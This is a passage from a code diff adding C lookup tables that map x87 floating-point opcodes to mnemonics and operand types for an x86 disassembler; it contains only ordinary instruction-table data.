INSTRUCTION_TYPE_FCOMP, "fcompl", AM_E|OT_q, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FSUB, "fsubl", AM_E|OT_q, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FSUBR, "fsubrl", AM_E|OT_q, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FDIV, "fdivl", AM_E|OT_q, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FDIVR, "fdivrl", AM_E|OT_q, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FADD, "fadd", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FADD, "fadd", AM_REG|REG_ST1|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FADD, "fadd", AM_REG|REG_ST2|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FADD, "fadd", AM_REG|REG_ST3|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FADD, "fadd", AM_REG|REG_ST4|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FADD, "fadd", AM_REG|REG_ST5|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FADD, "fadd", AM_REG|REG_ST6|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FADD, "fadd", AM_REG|REG_ST7|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FMUL, "fmul", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FMUL, "fmul", AM_REG|REG_ST1|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FMUL, "fmul", AM_REG|REG_ST2|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FMUL, "fmul", AM_REG|REG_ST3|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FMUL, "fmul", AM_REG|REG_ST4|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FMUL, "fmul", AM_REG|REG_ST5|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FMUL, "fmul", AM_REG|REG_ST6|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FMUL, "fmul", AM_REG|REG_ST7|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSUBR, "fsubr", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSUBR, "fsubr", AM_REG|REG_ST1|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSUBR, "fsubr", AM_REG|REG_ST2|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSUBR, "fsubr", AM_REG|REG_ST3|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSUBR, "fsubr", AM_REG|REG_ST4|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSUBR, "fsubr", AM_REG|REG_ST5|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSUBR, "fsubr", AM_REG|REG_ST6|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSUBR, "fsubr", AM_REG|REG_ST7|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSUB, "fsub", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSUB, "fsub", AM_REG|REG_ST1|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSUB, "fsub", AM_REG|REG_ST2|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSUB, "fsub", AM_REG|REG_ST3|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSUB, "fsub", AM_REG|REG_ST4|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSUB, "fsub", AM_REG|REG_ST5|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSUB, "fsub", AM_REG|REG_ST6|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSUB, "fsub", AM_REG|REG_ST7|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FDIVR, "fdivr", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FDIVR, "fdivr", AM_REG|REG_ST1|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FDIVR, "fdivr", AM_REG|REG_ST2|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FDIVR, "fdivr", AM_REG|REG_ST3|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FDIVR, "fdivr", AM_REG|REG_ST4|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FDIVR, "fdivr", AM_REG|REG_ST5|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FDIVR, "fdivr", AM_REG|REG_ST6|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FDIVR, "fdivr", AM_REG|REG_ST7|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FDIV, "fdiv", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FDIV, "fdiv", AM_REG|REG_ST1|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FDIV, "fdiv", AM_REG|REG_ST2|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FDIV, "fdiv", AM_REG|REG_ST3|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FDIV, "fdiv", AM_REG|REG_ST4|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FDIV, "fdiv", AM_REG|REG_ST5|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FDIV, "fdiv", AM_REG|REG_ST6|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FDIV, "fdiv", AM_REG|REG_ST7|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, +}; +INST inst_table_fpu_dd[72] = { + { INSTRUCTION_TYPE_FLD, "fldl", AM_E|OT_q, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FISTTP,"fisttp", AM_E|OT_q, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FST, "fstl", AM_E|OT_q, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FSTP, "fstpl", AM_E|OT_q, FLAGS_NONE, FLAGS_NONE, 1 }, + // XXX: operand type is not exactly right.. + { INSTRUCTION_TYPE_FPU, "frstor", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + // XXX: operand type is not exactly right.. + { INSTRUCTION_TYPE_FPU, "fsave", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 }, + // XXX: operand type is not exactly right.. + { INSTRUCTION_TYPE_FPU, "fstsw", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FFREE, "ffree", AM_REG|REG_ST0|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FFREE, "ffree", AM_REG|REG_ST1|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FFREE, "ffree", AM_REG|REG_ST2|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FFREE, "ffree", AM_REG|REG_ST3|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FFREE, "ffree", AM_REG|REG_ST4|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FFREE, "ffree", AM_REG|REG_ST5|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FFREE, "ffree", AM_REG|REG_ST6|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FFREE, "ffree", AM_REG|REG_ST7|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FST, "fst", AM_REG|REG_ST0|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FST, "fst", AM_REG|REG_ST1|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FST, "fst", AM_REG|REG_ST2|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FST, "fst", AM_REG|REG_ST3|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FST, "fst", AM_REG|REG_ST4|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FST, "fst", AM_REG|REG_ST5|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FST, "fst", AM_REG|REG_ST6|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FST, "fst", AM_REG|REG_ST7|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSTP, "fstp", AM_REG|REG_ST0|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSTP, "fstp", AM_REG|REG_ST1|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSTP, "fstp", AM_REG|REG_ST2|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSTP, "fstp", AM_REG|REG_ST3|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSTP, "fstp", AM_REG|REG_ST4|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSTP, "fstp", AM_REG|REG_ST5|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSTP, "fstp", AM_REG|REG_ST6|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSTP, "fstp", AM_REG|REG_ST7|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FUCOM, "fucom", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FUCOM, "fucom", AM_REG|REG_ST1|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FUCOM, "fucom", AM_REG|REG_ST2|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FUCOM, "fucom", AM_REG|REG_ST3|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FUCOM, "fucom", AM_REG|REG_ST4|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FUCOM, "fucom", AM_REG|REG_ST5|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FUCOM, "fucom", AM_REG|REG_ST6|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FUCOM, "fucom", AM_REG|REG_ST7|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FUCOMP,"fucomp", AM_REG|REG_ST0|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FUCOMP,"fucomp", AM_REG|REG_ST1|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FUCOMP,"fucomp", AM_REG|REG_ST2|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FUCOMP,"fucomp", AM_REG|REG_ST3|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FUCOMP,"fucomp", AM_REG|REG_ST4|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FUCOMP,"fucomp", AM_REG|REG_ST5|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FUCOMP,"fucomp", AM_REG|REG_ST6|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FUCOMP,"fucomp", AM_REG|REG_ST7|F_f, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, +}; +INST inst_table_fpu_de[72] = { + { INSTRUCTION_TYPE_FIADD, "fiadd", AM_E|OT_w, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FIMUL, "fimul", AM_E|OT_w, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FICOM, "ficom", AM_E|OT_w, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FICOMP,"ficomp", AM_E|OT_w, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FISUB, "fisub", AM_E|OT_w, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FISUBR,"fisubr", AM_E|OT_w, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FIDIV, "fidiv", AM_E|OT_w, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FIDIVR,"fidivr", AM_E|OT_w, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FADDP, "faddp", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FADDP, "faddp", AM_REG|REG_ST1|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FADDP, "faddp", AM_REG|REG_ST2|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FADDP, "faddp", AM_REG|REG_ST3|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FADDP, "faddp", AM_REG|REG_ST4|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FADDP, "faddp", AM_REG|REG_ST5|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FADDP, "faddp", AM_REG|REG_ST6|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FADDP, "faddp", AM_REG|REG_ST7|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FMULP, "fmulp", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FMULP, "fmulp", AM_REG|REG_ST1|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FMULP, "fmulp", AM_REG|REG_ST2|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FMULP, "fmulp", AM_REG|REG_ST3|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FMULP, "fmulp", AM_REG|REG_ST4|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FMULP, "fmulp", AM_REG|REG_ST5|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FMULP, "fmulp", AM_REG|REG_ST6|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FMULP, "fmulp", AM_REG|REG_ST7|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCOMPP,"fcompp", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSUBRP,"fsubrp", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSUBRP,"fsubrp", AM_REG|REG_ST1|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSUBRP,"fsubrp", AM_REG|REG_ST2|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSUBRP,"fsubrp", AM_REG|REG_ST3|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSUBRP,"fsubrp", AM_REG|REG_ST4|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSUBRP,"fsubrp", AM_REG|REG_ST5|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSUBRP,"fsubrp", AM_REG|REG_ST6|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSUBRP,"fsubrp", AM_REG|REG_ST7|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSUBP, "fsubp", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSUBP, "fsubp", AM_REG|REG_ST1|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSUBP, "fsubp", AM_REG|REG_ST2|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSUBP, "fsubp", AM_REG|REG_ST3|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSUBP, "fsubp", AM_REG|REG_ST4|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSUBP, "fsubp", AM_REG|REG_ST5|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSUBP, "fsubp", AM_REG|REG_ST6|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSUBP, "fsubp", AM_REG|REG_ST7|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FDIVRP,"fdivrp", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FDIVRP,"fdivrp", AM_REG|REG_ST1|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FDIVRP,"fdivrp", AM_REG|REG_ST2|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FDIVRP,"fdivrp", AM_REG|REG_ST3|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FDIVRP,"fdivrp", AM_REG|REG_ST4|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FDIVRP,"fdivrp", AM_REG|REG_ST5|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FDIVRP,"fdivrp", AM_REG|REG_ST6|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FDIVRP,"fdivrp", AM_REG|REG_ST7|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FDIVP, "fdivp", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FDIVP, "fdivp", AM_REG|REG_ST1|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FDIVP, "fdivp", AM_REG|REG_ST2|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FDIVP, "fdivp", AM_REG|REG_ST3|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FDIVP, "fdivp", AM_REG|REG_ST4|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FDIVP, "fdivp", AM_REG|REG_ST5|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FDIVP, "fdivp", AM_REG|REG_ST6|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FDIVP, "fdivp", AM_REG|REG_ST7|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, +}; + +INST inst_table_fpu_df[72] = { + { INSTRUCTION_TYPE_FILD, "fild", AM_E|OT_w, FLAGS_NONE, FLAGS_NONE, 1 }, + // fisttp: IA-32 2004 + { INSTRUCTION_TYPE_FISTTP,"fisttp", AM_E|OT_w, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FIST, 